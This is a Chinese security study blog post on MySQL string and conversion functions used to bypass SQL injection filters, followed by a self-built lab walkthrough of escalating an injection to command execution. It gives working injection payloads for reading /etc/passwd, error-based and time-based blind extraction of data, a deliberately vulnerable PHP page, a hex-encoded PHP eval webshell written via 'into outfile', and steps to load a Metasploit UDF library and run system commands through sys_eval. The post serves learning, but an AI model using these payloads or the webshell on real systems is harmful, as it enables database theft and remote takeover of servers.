• 信安周报-第04周:系统函数与UDF


    信安之路

    第04周

    前言

    这周自主研究的任务如下:

    tasks

    附录解释:

    1. SQLi的时候应对各种限制,可以使用数据库自带的系统函数来进行一系列变换绕过验证
      • eg:字符串转换函数、截取字符串长度函数等
    2. 注入的时候需要利用数据库来执行系统命令,不同数据库采用不同方式
      • eg:MySQL的udf、SQLServer的xp_cmdshell
    3. 可以手动构造一些可以利用数据库执行命令的场景,然后进行渗透,从而理解这个提权过程

    1.系统函数

    参考文档:MySQL函数 https://dev.mysql.com/doc/refman/5.7/en/functions.html

    1.1.字符串函数

    在MySQL中最常用的当属字符串相关的函数了:

    PS:哪个用法不清楚就直接help xx

    函数名 说明
    lower(str) 把字符串转换为小写
    upper(str) 把字符串转换为大写
    ltrim(str) 去除字符串左边空格
    rtrim(str) 去除字符串右边空格
    trim([remove_str from ]str) 去除字符串两端空格或指定字符
    reverse(str) 反转字符串
    length(str) 返回字符串的存储长度
    char_length(str) 返回字符串的字符个数
    instr(str,substr) 返回substr第一次出现的位置
    left(str,n) 返回字符串前n个字符
    right(str,n) 返回字符串后n个字符
    mid(str,pos[,len]) 截取从pos位置开始到len长度的字符串
    substring(str,pos[,len]) 截取从pos位置开始到len长度的字符串
    replace(str,old_str,new_str]) 用new_str替换str中的old_str
    concat(str1,str2...) 将多个字符串合并为一个字符串
    concat_ws(split_str,str1,str2...) 以指定字符拼接多个字符串
    group_concat(column) 把分组中的值拼接成一个字符串

    简单演示一下用法:

    1.lower、upper、ltrim、rtrim、trim案例:

    demo1

    2.length、char_length案例:

    demo2

    3.reverse、concat、concat_ws案例:

    demo2

    4.instr、substr的去广告案例:

    PS:substring 等同于 substr 以及 mid,它只是为了兼容其他数据库

    ad

    5.replace去广告案例:(更合适)

    replace

    5.group_concat小解:

    传统数据库一般使用了group by,那么select的列必须包含在group by子句或者是聚合函数才行:

    SQLServer

    MySQL虽然做了语法兼容,但结果并不太准确,这时候就可以使用group_concat

    select group_concat(file_name) as file_name, url, count(*) from file_records group by url;

    group_concat

    PS:SQLServer达到相同效果就需要自己构造了:

    select ids =(select stuff((select ',' + cast(id as varchar(20)) from file_records as f where f.url = file_records.url for xml path ('')), 1, 1, '')),url,count(*) from file_records group by url;

    xml

    1.2.转换函数

    函数名 说明
    hex(str) 把字符串转换为16进制
    to_base64(obj) 编码为base64字符串
    from_base64(base64_str) 解码base64格式的字符串
    unhex(16str) 把16进制转换为字符串
    ord(str) 返回最左边字符的ascii码
    ascii(char) 返回字符串str的最左侧字符的数值
    char(ascii_num) 把ascii码数值转换为对应的字符
    convert(expr,type) 把表达式转换为指定类型type

    hex and char

    base64函数MySQL5.6添加的 ==> so,MariaDB 5.5.60 是没有的

    PS:MariaDB 10.0.5 才新增

    convert

    PS:哪个用法不清楚就直接help xx,具体案例看场景举例

    help

    1.3.其他系列

    函数名 说明
    if(expr,a,b) 如果表达式expr成立返回结果a,否则返回结果b
    updatexml(xml_target, xpath_expr, new_xml) 返回替换的XML片段
    extractvalue(xml_frag, xpath_expr) 使用XPath表示法从XML字符串中提取值
    sleep(time) 休眠time秒

    2.场景举例

    2.1.不能出现某些特殊字符

    1.不能出现某些特殊字符

    eg:在使用load_file函数的时候,要是url里屏蔽了'

    可以使用hex转换一下,就可以绕过:

    hex

    也可以借助asciichar函数:

    char

    SQL附录:

    select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file('/etc/passwd'),7,8,9;
    
    select hex('/etc/passwd'); -- 2F6574632F706173737764
    
    -- 需要自己添加0x
    select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(0x2F6574632F706173737764),7,8,9;
    
    -- 字符转换为ASCII码
    select ascii('/'),ascii('e'),ascii('t'),ascii('c'),ascii('/'),ascii('p'),ascii('a'),ascii('s'),ascii('s'),ascii('w'),ascii('d');
    
    -- ASCII码转为字符串
    select char(47,101,116,99,47,112,97,115,115,119,100);
    
    select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(char(47,101,116,99,47,112,97,115,115,119,100)),7,8,9;
    

    2.2.浏览器返回出现乱码

    2.浏览器返回出现乱码,或者程序对返回结果有敏感检测等

    eg:通过hex把返回结果转换为16进制即可

    unhex

    SQL附录:

    select hex(load_file(0x2F6574632F706173737764));
    select hex(load_file(char(47,101,116,99,47,112,97,115,115,119,100)));
    
    -- 解密
    select unhex('726F6F743A783A303A303A...6E6F6C6F67696E0A');
    

    2.3.一行查询出所有需要的结果

    3.一行查询出所有需要的结果

    PS:使用concat or concat_ws()

    concat

    concat_ws

    SQL附录:

    -- 推荐使用concat_ws(有null的时候也是有结果的)
    select username from workdb.users where id=1 union select concat_ws(',',user(),database(),version());
    
    select hex(','); -- 2C
    
    select username from workdb.users where id=1 union select concat_ws(0x2c,user(),database(),version());
    

    2.4.需要MySQL显示出报错信息

    4.需要MySQL显示出报错信息

    PS:使用updatexml or extractvalue

    很多时候MySQL会隐藏错误提示,这时候我们可以通过别样的方式来让它显示错误信息,从而得到更多对渗透有利的info

    hide

    SQL附录:

    select convert((select @@version),int);
    
    select updatexml(1,concat('~',(select @@version)),1);
    
    select extractvalue(1,concat('~',(select @@version),1));
    

    2.5.延时注入判断

    有时候网站容错性比较强(各种默认值)在注入的时候不管加什么参数页面都没什么变化,这时候可以使用延时注入,用是否卡顿来判断是否有注入点

    eg:select * from users where id=1 or sleep(3); or select * from users where id=1 and sleep(3);

    举个延迟注入获取数据的例子:

    eg:获取当前用户名

    大体思路:

    1. 查询当前用户猜测出用户名长度
    2. 截取第一个字符并转换为ASCII码
    3. 讲第一个字符的ASCII码和ASCII码表对比,匹配则延迟3s
    4. 继续截取字符并对比,直到全部解猜出来

    获取用户名长度的SQL附录:

    -- 获取当前用户的长度,不延迟说明不对
    select if(length(user())=1,sleep(3),1);
    select if(length(user())=2,sleep(3),1);
    select if(length(user())=3,sleep(3),1);
    select if(length(user())=4,sleep(3),1);
    ......
    select if(length(user())=15,sleep(3),1);
    select if(length(user())=16,sleep(3),1);
    select if(length(user())=17,sleep(3),1);
    select if(length(user())=18,sleep(3),1); -- 延迟了3s
    
    -- PS:可以自己验证一下是不是18位
    select user(); -- dnt@192.168.36.144
    select char_length(user()); -- 18
    

    获取用户名每一个字符的SQL附录:(数据库通用的substring可以换成mysql独有的mid)

    基本上都是在这里匹配:a~zA~Z0~9_、@、%、#...,只看@前面的字符,后面的直接忽略

    ASCCI:%:370:48~9:57@:64A:65~Z:90_:95a:97~z:122(可以使用二分法快速定位)

    -- 获取第一个字符是什么
    select if(substring(user(),1,1)>'a',sleep(3),1); -- 延迟3s,说明第1个字符比a大
    select if(substring(user(),1,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
    select if(substring(user(),1,1)>'p',sleep(3),1); -- 不延迟,说明在a~p之间
    select if(substring(user(),1,1)<'h',sleep(3),1); -- 延迟3s,说明在a~h之间
    select if(substring(user(),1,1)>'e',sleep(3),1); -- 不延迟,说明在a~e之间
    select if(substring(user(),1,1)>'c',sleep(3),1); -- 延迟3s,说明在c~e之间 ==> 那就是d了
    select if(substring(user(),1,1)='d',sleep(3),1); -- 延迟3s,说明第1个字符是d
    
    -- 获取第二个字符是什么
    select if(substring(user(),2,1)>'a',sleep(3),1); -- 延迟3s,说明第2个字符比a大
    select if(substring(user(),2,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
    select if(substring(user(),2,1)>'p',sleep(3),1); -- 不延迟,说明在a~p之间
    select if(substring(user(),2,1)<'h',sleep(3),1); -- 不延迟,说明在h~p之间
    select if(substring(user(),2,1)>'m',sleep(3),1); -- 延迟3s,说明在m~p之间
    select if(substring(user(),2,1)<'o',sleep(3),1); -- 延迟3s,说明在m~0之间 ==> 那就是n了
    select if(substring(user(),2,1)='n',sleep(3),1); -- 延迟3s,说明第2个字符是n
    
    -- 获取第三个字符是什么
    select if(substring(user(),3,1)>'a',sleep(3),1); -- 延迟3s,说明第3个字符比a大
    select if(substring(user(),3,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
    select if(substring(user(),3,1)>'p',sleep(3),1); -- 延迟3s,说明在p~z之间
    select if(substring(user(),3,1)<'v',sleep(3),1); -- 延迟3s,说明在p~v之间
    select if(substring(user(),3,1)<'s',sleep(3),1); -- 不延迟,说明在s~v之间
    select if(substring(user(),3,1)>'t',sleep(3),1); -- 不延迟,说明在s~t之间 ==> 要么s要么t
    select if(substring(user(),3,1)='s',sleep(3),1); -- 不延迟
    select if(substring(user(),3,1)='t',sleep(3),1); -- 延迟3s,说明第3个字符是n
    
    -- 获取第四个字符是什么
    select if(substring(user(),4,1)>'a',sleep(3),1); -- 不延迟,说明第4个字符比a小
    select if(substring(user(),4,1)>'A',sleep(3),1); -- 不延迟,说明第4个字符比A小
    select if(substring(user(),4,1)>'0',sleep(3),1); -- 延迟3s,说明可能是数字或者特殊符号
    select if(substring(user(),4,1)<'9',sleep(3),1); -- 不延迟,说明是9~A之间的特殊符号
    select if(substring(user(),4,1)='@',sleep(3),1); -- 延迟3s,说明就是@了
    
    -- 说明用户名为:dnt
    
    -- PS:可以自己验证一下:dnt@
    select substring(user(),1,1),substring(user(),2,1),substring(user(),3,1),substring(user(),4,1);
    

    ascii

    3.UDF实战

    以下为自己构造的场景,然后附上了自我入侵的全过程,如有便捷之处还望指正~

    3.1.大体思路

    1. 写一句话木马
    2. 菜刀连接
    3. 上传udf文件,不行就先上传大马,然后通过大马上传udf文件
    4. 创建功能函数
    5. 执行提权或者其他命令
    6. 删除函数

    3.2.构造注入页面

    写一个存在SQLi的页面:index.php

    测试环境:phpstudy ==> PHP7 + MySQL5.7 + Nginx1.15.11

    <?php
        // 自己构造的一个sqli页面
        $pms=$_GET["id"];
        if(empty($pms)){
            $pms=1;
        }
        echo "id=" . $pms . "<br/>";
    
        $conn=new mysqli("localhost", "root", "xxxx", "workdb");
        if ($conn->connect_error) {
            die("连接失败:" . $conn->connect_error);
        }
    
        // 防止中文乱码
        $conn->query("set names utf8;");
        $sql = "select username,password from workdb.users where id=" . $pms;
        echo "SQL:" . $sql . "<br/>";
    
        $result = $conn->query($sql);
        if($result->num_rows > 0){
            while($row = $result->fetch_assoc()){
                echo "username:" . $row["username"] . ",name:" . $row["password"] . "<br/>";
            }
        } else {
            echo "no results";
        }
        $conn->close();
    ?>
    

    本案成功前提:配置文件中设置了secure-file-priv=root允许远程登录

    PS:如有更好方法,还望大牛指教

    3.3.信息查询

    url构造:index.php?id=1 union select @@version,@@plugin_dir

    base

    url构造查询:index.php?id=1 union select load_file('D:\Program Files (x86)\phpstudy_pro\WWW\index.php'),concat(@@version_compile_os,',',@@version_compile_machine)

    PS:如果遇到特殊字符屏蔽可以使用16进制(上面场景中我已经说过)

    web

    Linux

    PS:Linux下可以查看/etc/passwd
    url

    发现有Nginx、Apache这些用户名,说明可能存在这些服务器,那么可以试试这些的web默认路径

    eg:index.php?id=1 union select load_file('/usr/share/nginx/html/index.php'),2

    php

    so ==> 网站根目录出现了(有时候/etc/passwd中直接就可以看到)

    3.4.写入一句话

    url构造:index.php?id=1 union select 0x3c3f706870206576616c28245f504f53545b627279616e5d293b203f3e,1 into outfile 'D:\Program Files (x86)\phpstudy_pro\WWW\xiaoma.php'

    shellcode

    Linux

    PS:如果Linux权限配置不到位,也是可以通过这种方式上传的

    构造:index.php?id=1 union select '<?php eval($_POST[bryan]); ?>',1 into outfile '/usr/share/nginx/html/xiaoma.php'

    url_ma

    发现被屏蔽了,那把一句话转换为16进制字符串

    index.php?id=1 union select 0x3c3f706870206576616c28245f504f53545b627279616e5d293b203f3e,1 into outfile '/usr/share/nginx/html/xiaoma.php'

    ko

    PS:权限配置分明的就没法通过这个方式写入一句话了(就看安装的时候权限分配,以及网站根目录权限设置)

    使用菜刀连接一句话木马:

    conn

    look

    3.5.连接一句话

    菜刀下载:https://github.com/raddyfiy/caidao-official-version

    取代菜刀:蚁剑https://github.com/AntSwordProject/AntSword-Loader or Cknifehttps://github.com/Chora10/Cknife

    通过菜刀连接一句话木马

    conn

    如果是PHP5则没有问题,如果是PHP7,会出现:Cannot call assert() with string argument dynamically的提示

    解决:可以参考我写的这篇文章:https://www.cnblogs.com/dotnetcrazy/p/11407505.html

    ok

    3.6.上传文件

    根据系统去metasploit目录中下载对应的udf文件

    PS:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

    dll

    通过菜刀上传到插件目录:D:Program Files (x86)phpstudy_proExtensionsMySQL5.7.26libplugin

    PS:这边能直接上传,也就免去先上传大马再通过大马上传了

    upload

    PS:Win使用dll,Linux使用so

    3.7.创建功能函数

    url构造:index.php?id=1;create function sys_eval returns string soname 'udf.dll';#

    create

    发现执行命令后不成功

    no

    PS:开启常规日志可以看到请求的SQL

    logs

    发现被屏蔽了(可能是因为php的query只能执行一条语句的原因)

    PS:大家想到什么一条SQL执行完查询和创建函数的可以说下

    nosql

    换条思路:读取配置文件(PHP连接MySQL的时候可能有些敏感信息)

    PS:Net的web.conf也一样

    url构造:index.php?id=1 union select load_file('D:\Program Files (x86)\phpstudy_pro\WWW\index.php'),2

    PS:其实我们刚开始信息获取的时候就读过一次了,现在又绕过来了。。。

    info

    连接远程服务器:./mysql -h'192.168.36.144' -uroot -p

    create_func

    PS:win使用:create function sys_eval returns string soname 'udf.dll';

    Linux使用:create function sys_eval returns string soname 'udf.so';

    3.8.执行系统命令

    这时候你通过浏览器执行远程命令也是可以的:

    PS:url构造:index.php?id=1 union select sys_eval('whoami'),2

    exec

    PS:删除函数:drop function sys_eval;


    附录

    参考文档

    MySQL XML相关函数:
    https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
    
    udf文件:
    https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
    
    MySQL函数列表:
    https://www.w3cschool.cn/mysql
    https://www.runoob.com/mysql/mysql-functions.html
    https://www.w3resource.com/mysql/mysql-functions-and-operators.php
    
    MySQL UDF渗透测试
    https://zhuanlan.zhihu.com/p/35401523
    https://www.freebuf.com/articles/system/163144.html
    
    PHP7和PHP5在安全上的区别
    https://www.freebuf.com/articles/web/197013.html
    
    一句话木马的套路
    https://www.freebuf.com/articles/web/195304.html
    
    菜刀连接php一句话木马返回200的原因及解决方法
    http://shuiboye.blogspot.com/2018/01/php200.html
    
  • 相关阅读:
    1202诗人基本介绍&诗人画像
    1205人物关系优化&诗人轨迹
    把SQL Server 2000 表中的自动编号Id重新开始排列
    一个一直都不明白的东西今天知道了。关于sqlserver2000自动执行。
    服装打版界的扛把子ET自定义操作
    手把手教你搭建集中式版本控制系统SVN服务器
    分享一次实用的爬虫经验
    盘点CSV文件在Excel中打开后乱码问题的两种处理方法
    盘点服装设计所经常性使用的软件ET(下篇)
    sql 每个企业选择一条产品
  • 原文地址:https://www.cnblogs.com/dotnetcrazy/p/11406469.html
Copyright © 2020-2023  润新知